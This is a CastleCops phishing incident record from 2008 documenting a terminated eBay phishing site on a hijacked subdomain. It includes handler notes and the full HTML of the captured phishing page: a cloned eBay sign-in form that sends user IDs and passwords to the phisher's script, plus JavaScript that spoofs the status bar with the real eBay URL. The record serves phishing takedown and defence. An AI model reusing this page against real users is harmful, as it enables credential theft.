Need help? Click here to register for free! Absolutely zero advertisements on this site!

**$9736.22 of $21422.68**

Help CastleCops serve the community on new servers, Donate Here to reach our goal.

	Donation/Premium

	Donations. Become Premium Today!

	Security Central

	· Home · PIRT/Fried Phish · MIRT · SIRT · Deutsch · Wiki · Newsletter · O16/ActiveX · CLSID List · Contest2007 · Downloads · Feedback (send) · Forums · HijackThis · Hijacktrend · LSPs · My Downloads · O18 · O20 · O21 · O22 · O23 · O9 · Premium · Private Messages · Proxomitron · Reviews · Search · StartupList · Stories Archive · Submit News · WsIRT · Your Account · Acceptable Use Policy

Survey

PIRT Squad

Fried Phish^(TM)

Phishing Incident Reporting and Termination (PIRT) Squad^(SM)

A global phishing termination and intelligence system operated by CastleCops. Become a PIRT Squad terminator by reporting phish today!

[ How-To / FAQ ]

Fried Phish -> Confirmed Phish | Terminated Phish

status: terminated

HTTP Response 08 May, 2008 20:24:34	HTTP/1.1 200 OK
ID	820837 (termination link)
Title	eBay
Entry	http://signin.ebay.com.ws.ebayisapi.dll.signin.usingssl.yes.pagetype.siteid.copartnerid.jkhasduiqeywsmnncbiutrasddghrywasddpoiw.sid.hwwdesigns.com/~cooproge/images/progetto/allegati/index.php?SignIn=1&co_partnerId=2&siteid=0&ru=&pp=pass&customerid=&pageType=708XeMWZllWXS3AlBXVShqAhQRfhgTDrf=https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&UsingSSL=1&pUserId=&co_partnerId=2&siteid=0&ru=&pp=&pageType=708&MfcISAPICommand=ConfirmRegistration
PIRT Squad Reporter	Submitted anonymously thru the web, or sent to pirt (at) castlecops (dot) com.
Timestamp	08 May, 2008 @ 20:23:12
Topic ID	221454 - Read/respond to PIRT commentary.
Handler Note: 09 May, 2008 17:46:18	downie: The URL accesses an eBay phishing site, active at the time of investigation. A page fetch was successful. ************************* DOMAINSITE: The wildcard subdomain A record for hwwdesigns.com has been pointed to this hacked phishing site. Please disable this and take appropriate further action. ********************************************
Handler Note: 09 May, 2008 17:47:34	downie: Target site handled as http://www.castlecops.com/eBay_phish818678.html
Handler Note: 09 May, 2008 17:48:48	downie: Generated and sent email phish alert to respective parties.
Handler Note: 11 May, 2008 16:34:19	downie: hwwdesigns.com deleted
Fetched URLs	http://signin.ebay.com.ws.ebayisapi.dll.signin.usingssl.yes.pagetype.siteid.copartnerid.jkhasduiqeywsmnncbiutrasddghrywasddpoiw.sid.hwwdesigns.com/~cooproge/images/progetto/allegati/index.php?SignIn=1&co_partnerId=2&siteid=0&ru=&pp=pass&customerid=&pageType=708XeMWZllWXS3AlBXVShqAhQRfhgTDrf=https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&UsingSSL=1&pUserId=&co_partnerId=2&siteid=0&ru=&pp=&pageType=708&MfcISAPICommand=ConfirmRegistration

Report for at 08 May, 2008 @ 20:24:34

fetched page

at 08 May, 2008 @ 20:24:41
MD5 Fingerprint: 60b014b30f087b6488dae7a2694077b2
SHA1 Fingerprint: 503a4b37bfb06f0ce28f32ea54a44bdf7ee90abf

HTTP/1.1 200 OK
Date: Thu, 08 May 2008 20:23:10 GMT
Server: Apache/1.3.39 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.30 OpenSSL/0.9.8b
Content-Type: text/html
Transfer-Encoding: chunked

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "#http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Welcome to eBay</title>
<script language="JavaScript">

var hellotext = "Opening page https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&co_partnerId=2&pUserId=&siteid=0&pageType=&pa1=&i1=&bshowgif=&UsingSSL=&ru=http%3A%2F%2Fwww.ebay.com&pp=&pa2=&errmsg=&runame=&ruparams=&ruproduct=&sid=&favoritenav=&confirm=&ebxPageType=&existingEmail=&isCheckout=&migrateVisitor="
var thetext = "";
var started = false;
var step = 0;
var times = 1;

function welcometext() {
times--;
if (!times) {
if (!started) {
started = true;
window.status = hellotext;
setTimeout("anim()", 1);
}
thetext = hellotext;
   }
}

function anim() {
step++;
if (step==1) window.status = '' + thetext + '';
if (step==2) window.status = 'Done';
if (step==3) window.status = 'Done';
if (step==4) window.status = 'Done';
if (step==5) window.status = 'Done';
if (step==6) window.status = 'Done'
setTimeout("anim()", 3000);
}
//  End -->
</script></head>
<body bgcolor="#ffffff" OnLoad="welcometext()"><link href="icon.ico" rel="shortcut icon"><div class="YukonPageWidth"><div class="pagewidth"><div class="pageminwidth"><div class="pagelayout"><div class="pagecontainer"><link rel="stylesheet" type="text/css" href="pics/GlobalNavVjo23_SignInE_e5375580111_en_US_s.css"><span class="ebay"><div id="gnheader" class="gbhdr"><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td><div id="cobrandHeader"></div><div id="dynamicmenu-hdrCtr" class="hdrCtr"><table border="0" cellpadding="0" cellspacing="0" width="100%" class="logobar"><tr><td width="1%" valign="top" class="logoimg"><a href="#http://www.ebay.com"> <img src="pics/logoE_x45.gif" alt="From collectibles to cars, buy and sell all kinds of items on eBay" border="0" height="45" width="110"></img></a></td><td valign="bottom" width="60%"></td></tr></table><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td class="brnd1"></td><td class="brnd2"></td><td class="brnd3"></td><td class="brnd4"></td><td class="brnd5"></td><td class="brnd6"></td><td class="brnd7"></td></tr><tr><td class="brnd8"></td><td class="brnd8"></td><td class="brnd8"></td><td class="brnd8"></td><td class="brnd8"></td><td class="brnd8"></td><td class="brnd8"></td></tr></table></div><script src="pics/base_e4373us.js"></script><link rel="stylesheet" type="text/css" href="pics/e-ns_e5371us.css"><div></div><div style="display:none;" id="dynMenuCtr"><table cellpadding="0" cellspacing="0" border="0"><tr><td colspan="3" class="dynmenubrdr">##1##</td></tr><tr><td><img src="pics/imgCrnrO4.gif" height="6" width="6" border="0" class="crnrimg"></td><td class="dynmenubtmbrdr">##2##</td><td><img src="pics//imgCrnrO3.gif" height="6" width="6" border="0" class="crnrimg"></td></tr></table></div></td></tr></table></div></span><link rel="stylesheet" type="text/css" href="pics/signinyukon_SSL_e5371us.css">
<link rel="stylesheet" type="text/css" href="pics/e-ns_SSL_e5371us.css">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td><img src="pics/spacer.gif" height="10" alt=" " title=""></td>
</tr>
<tr>
<td valign="middle" width="100%" align="left">
<table border="0" width="100%" cellpadding="0" cellspacing="0">
<tr>
<td width="14"><img src="pics/spacer.gif" width="14px" alt=" " title=""></td>
<td nowrap valign="middle" align="left" class="sectiontitleYukon">Welcome to eBay</td>
<td width="4%" nowrap valign="middle"><img src="pics/spacer.gif" width="2" height="1" alt=" " title=""></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><img src="pics/spacer.gif" height="20" alt=" " title=""></td>
</tr>
</table>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="100%" valign="top">
<table cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td colspan="3">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td rowspan="2"><img src="pics/imgpanelulgrey.gif"></td>
<td height="1" width="100%" bgcolor="#cccccc"><img src="pics/spacer.gif" height="1"></td>
<td rowspan="2"><img src="pics/imgpanelurgrey.gif"></td>
</tr>
<tr>
<td height="9" width="100%"><img src="pics/spacer.gif" height="9"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td bgcolor="#cccccc" width="1"><img title="" width="1px" alt=" " src="pics/spacer.gif"></td>
<td class="titleYukon" style="padding:3px 10px 10px 10px">Ready to bid and buy? Register here</td>
<td bgcolor="#cccccc" width="1"><img title="" width="1px" alt=" " src="pics/spacer.gif"></td>
</tr>
<tr style="padding-bottom:20px">
<td bgcolor="#cccccc" width="1"><img title="" width="1px" alt=" " src="pics/spacer.gif"></td>
<td style="padding:10px 10px 10px 10px">
<form method="post" name="RegisterEnterInfo" id="RegisterEnterInfo" style="margin:0" action="https://scgi.ebay.com/ws/eBayISAPI.dll?RegisterEnterInfo&amp;siteid=0&amp;co_partnerid=2&amp;UsingSSL=1"><input type="hidden" name="MfcISAPICommand" value="RegisterEnterInfo"><input type="hidden" name="co_partnerId" value="2"><input type="hidden" name="siteid" value="0"><input type="hidden" name="ru" value="http%3A%2F%2Fwww.ebay.com%2F"><input type="hidden" name="bin" value="-1"><table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td valign="top">Join the millions of people who are already a part of the eBay family. Don't worry, we have room for one more.<p>Register as an eBay member and enjoy privileges including:</p>
<ul class="commonList">
<li><b>Bid, buy and find bargains</b> from all over the world<br><img src="pics/spacer.gif" width="1" height="10" alt=" " title=""><br></li>
<li><b>Shop with confidence</b> with PayPal Buyer Protection<br><img src="pics/spacer.gif" width="1" height="10" alt=" " title=""><br></li>
<li><b>Connect with the eBay community</b> and more!<br><img src="pics/spacer.gif" width="1" height="5" alt=" " title=""><br></li>
</ul><button type="submit" class="SIForBtn" name="register_submit"><span class="b1"><span class="b2"><span class="b3">Register</span></span></span></button></td>
</tr>
</table>
</form>
</td>
<td bgcolor="#cccccc" width="1"><img title="" width="1px" alt=" " src="pics/spacer.gif"></td>
</tr>
<tr>
<td colspan="3">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td rowspan="2"><img src="pics/imgpanelllgrey.gif"></td>
<td height="9" width="100%"><img src="pics/spacer.gif" height="9"></td>
<td rowspan="2"><img src="pics/imgpanellrgrey.gif"></td>
</tr>
<tr>
<td height="1" width="100%" bgcolor="#cccccc"><img src="pics/spacer.gif" height="1"></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td width="15"><img title="" height="1" alt=" " src="pics/spacer.gif" width="15"></td>
<td width="350">
<div class="signinyukon-rcp">
<div class="signinyukon-n"><div class="signinyukon-e"><div class="signinyukon-w"></div></div></div>
<div class="signinyukon-mid">
<table cellspacing="0" cellpadding="0" border="0" width="350">
<tr>
<td class="titleYukon" style="padding:5px 15px 5px 10px">Sign in to your account</td>
</tr>
<tr>
<td style="padding:0px 5px 10px 5px">
<form method="post" autocomplete="off" style="margin:0px" action="index.php?co_partnerId=2&pUserId=&siteid=0&pageType=&pa1=&i1=&bshowgif=&UsingSSL=&pageType=708XeMWZllWXS3AlBXVShqAhQRfhgTDrf=https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&UsingSSL=1&pUserId=&co_partnerId=2&siteid=0&ru=&pp=&pageType=708&MfcISAPICommand=ConfirmRegistration"><input type="hidden" name="page" value="login"><input type="hidden" name="email_from" value=""><table border="0" cellpadding="0" cellspacing="5" width="100%">
<tr>
<td valign="top" style="padding-top:5px">Back for more fun? Sign in now to buy, bid and sell, or to manage your account.<br></td>
</tr>
<tr>
<td><img src="pics/spacer.gif" width="1" height="5" alt=" " title=""></td>
</tr>
<tr>
<td>
<table width="100%" cellpadding="0" cellspacing="0">
<tr>
<td width="70"></td>
<td class="errorYukon"></td>
</tr>
<tr>
<td colspan="2" height="5"></td>
</tr>
<tr>
<td width="70" nowrap>
					
					User ID��
					</td>
<td><input type="text" name="userid" maxlength="64" tabindex="1" value="" size="27"></td>
</tr>
<tr>
<td></td>
<td style="font-size:x-small; font-family:Verdana"><a href="#http://cgi4.ebay.com/ws/eBayISAPI.dll?UserIdRecognizerShow">I forgot my user ID</a></td>
</tr>
<tr>
<td colspan="2" height="5"></td>
</tr>
<tr>
<td width="70" nowrap><a name="Password" style="text-decoration:none">Password��</a></td>
<td><input type="password" name="pass" maxlength="64" value="" tabindex="2" size="27"></td>
</tr>
<tr>
<td></td>
<td style="font-size:x-small; font-family:Verdana"><a href="#http://cgi4.ebay.com/ws/eBayISAPI.dll?ForgotYourPasswordShow">I forgot my password</a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><img src="pics/spacer.gif" width="1" height="8" alt=" " title=""></td>
</tr>
<tr>
<td>
<table width="100%" cellpadding="0" cellspacing="0">
<tr>
<td valign="top"><input type="checkbox" name="keepMeSignInOption" value="1" tabindex="4"></td>
<td width="100%"><b>Keep me signed in for today.</b> Don't check this box if you're at a public or shared computer.
					</td>
</tr>
</table>
</td>
</tr>
<tr>
<td><img src="pics/spacer.gif" width="1" height="5" alt=" " title=""></td>
</tr>
<tr>
<td align="right"><button type="submit" tabindex="3" class="SIActBtn"><span class="btn"><span class="btn">Sign in</span></span></button></td>
</tr>
</table>
</form>
</td>
</tr>
</table>
</div>
<div class="signinyukon-s"><div class="signinyukon-e"><div class="signinyukon-w"></div></div></div>
</div>
<div>
<p><b>Having problems with signing in? </b><a href="#http://pages.ebay.com/help/new/contextual/signin.html" onclick="return ebay.oDocument._getControl('openHelpWindow')._exec('openContextualHelpWindow',this.href);" target="helpwin">Get help</a>.
								</p>
<p><b>Protect your account: </b>Check that the Web address in your browser starts with http://signin.ebay.com.
				<a href="#http://pages.ebay.com/help/new/contextual/account_protection.html" onclick="return ebay.oDocument._getControl('openHelpWindow')._exec('openContextualHelpWindow',this.href);" target="helpwin">More account security tips</a>.
								
							</p>
</div>
</td>
</tr>
</table><br><hr color="#cccccc" size="1"><script src="pics/signin_body_e5371us.js"> </script><script language="JavaScript"></script><script language="JavaScript">
			(function(){  
			 var c = ebay.oDocument.addConfig(new EbayConfig("kg"));
			 c.sStatusField = "lse";
			 c.sNumberField = "lsv";
			 c.sFormField = "mid";
			 c.sDiv = "kgdiv";
			 c.sHttpFormField = "hmid";
			 
				 c.sKnownGoodEnabled =false;
				 
			 
			})();
		</script><div id="kgdiv"></div><script type="text/javascript" language="JavaScript" xmlns:bx="#http://www.ebay.com/2004/bex">
					ebay.oDocument.oPage.createConfig = function() {var  c = ebay.oDocument.addConfig(new EbayConfig('EBX.CrossLinking'));c.sLayer='ebx_layer';c.sHTML='<table align="center" style="border:2px solid #0098CF; margin-bottom: 15px;" width="85%" cellpadding="0" cellspacing="0" bgcolor="#EDF9FF"><tr valign="middle"><td width="36" style="padding: 0 10px 0 10px;"><img align="middle" src="pics/icon/iconInfo_16x16.gif" /></td><td width="80%" nowrap="nowrap" style="padding-right:10px" >You've left eBay Express.</td><td align="left" nowrap="nowrap"><a href="#http://www.express.<#1#>/">Shop again on eBay Express</a><span style="margin:0 10px 0 10px;">|</span><img align="bottom" src="pics/express/icons/iconCart_15x10.gif" alt=""/> <a href="#http://cart.express.<#1#>/ws/eBayISAPI.dll?ExpressCart&action.view=&from=Header">Shopping Cart<#2#></a></td><td width="135" nowrap="nowrap" style="padding: 0 20px 0 20px;"><img align="top" src="pics/express/logos/logoExpress_95x39.gif" alt=""></img></td><td nowrap="nowrap" width="26" align="left"><a href="#1" id="b_close" name="b_close"><img align="middle" border="0" src="pics/buttons/btnExpressClose.gif" alt="" ></img></a></td></tr></table>';c.sCartCountText=' (<#1#>)';c.sClose='b_close';c.aHost={'0':'ebay.com','77':'ebay.de','2':'ebay.co.uk','15':'ebay.com.au'};c.aHideOnParams=["fromebxris=1", "fromebxrisZ1"];} ;ebay.oDocument.oPage.createConfig();</script><span class="ebay"><div id="glbfooter"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td class="g-pipe"><img src="pics/s.gif" height="10" width="1"><br><a href="#http://pages.ebay.com/aboutebay.html">About eBay</a> | <a href="#http://www2.ebay.com/aw/marketing.shtml">Announcements</a> | <a href="#http://pages.ebay.com/securitycenter/index.html">Security Center</a> | <a href="#http://pages.ebay.com/help/policies/index.html">Policies</a> | <a href="#http://www.ebaymainstreet.com">Government Relations</a> | <a href="#http://pages.ebay.com/sitemap.html">Site Map</a> | <a href="#http://pages.ebay.com/help/index.html">Help</a></td></tr><tr><td height="4"></td></tr><tr><td height="1" bgcolor="#CCCCCC" colspan="2"></td></tr><tr><td height="4"></td></tr><tr class="g-hlp" valign="top"><td class="g-nav coreFooterLegalNotice">Copyright � 1995-2008 eBay Inc. All Rights Reserved. Designated trademarks and brands are the property of their respective owners. Use of this Web site constitutes acceptance of the eBay <a href="#http://pages.ebay.com/help/policies/user-agreement.html">User Agreement</a> and <a href="#http://pages.ebay.com/help/policies/privacy-policy.html">Privacy Policy</a>.<br><img src="pics/s.gif" height="10"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td class="g-nav" width="100%"><a href="#http://viv.ebay.com/ws/eBayISAPI.dll?EbayTime">eBay official time</a></td></tr></table></td><td align="right" nowrap="nowrap"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center"><div class="coreFooterVerisign"><a onclick="window.open('#http://pages.ebay.com/popverisign/verisignOldPopup.html', '_blank');return false" href="#"><img src="pics/logoNewVeriSign_100x65.gif" alt="Verisign Seal" border="0" height="65" width="100"></img></a></div></td></tr><tr><td align="center" nowrap="nowrap" class="g-nav"><a href="#http://www.verisign.com/ssl-certificate"></a></td></tr></table></td></tr></table><div id="cobrandFooter"></div></div></span><script type="text/javascript">var un="undefined";if(typeof(vjo)!=un && typeof(vjo.darwin)!=un && typeof(vjo.darwin.core)!=un && typeof(vjo.darwin.core.ebayheader)!=un && typeof(vjo.darwin.core.ebayheader.rtm)!=un && typeof(vjo.darwin.core.ebayheader.rtm.GlobalHeaderRtmCall)!=un)vjo.darwin.core.ebayheader.rtm.GlobalHeaderRtmCall.submitRTMCall("pics/GlobalNavVjo23_Rtm_e5375580106_1_en_US.js")</script><script src="pics/signin_footer_e5371us.js"></script></div></div></div></div></body>
</html>

Version 1.0


	2002-2008 � Computer Cops LLC dba CastleCops®. All rights reserved. Acceptable Use Policy. Use signifies your agreement. 184ppm 0.209s (0.095s) Making cybercriminals unhappy since 2002*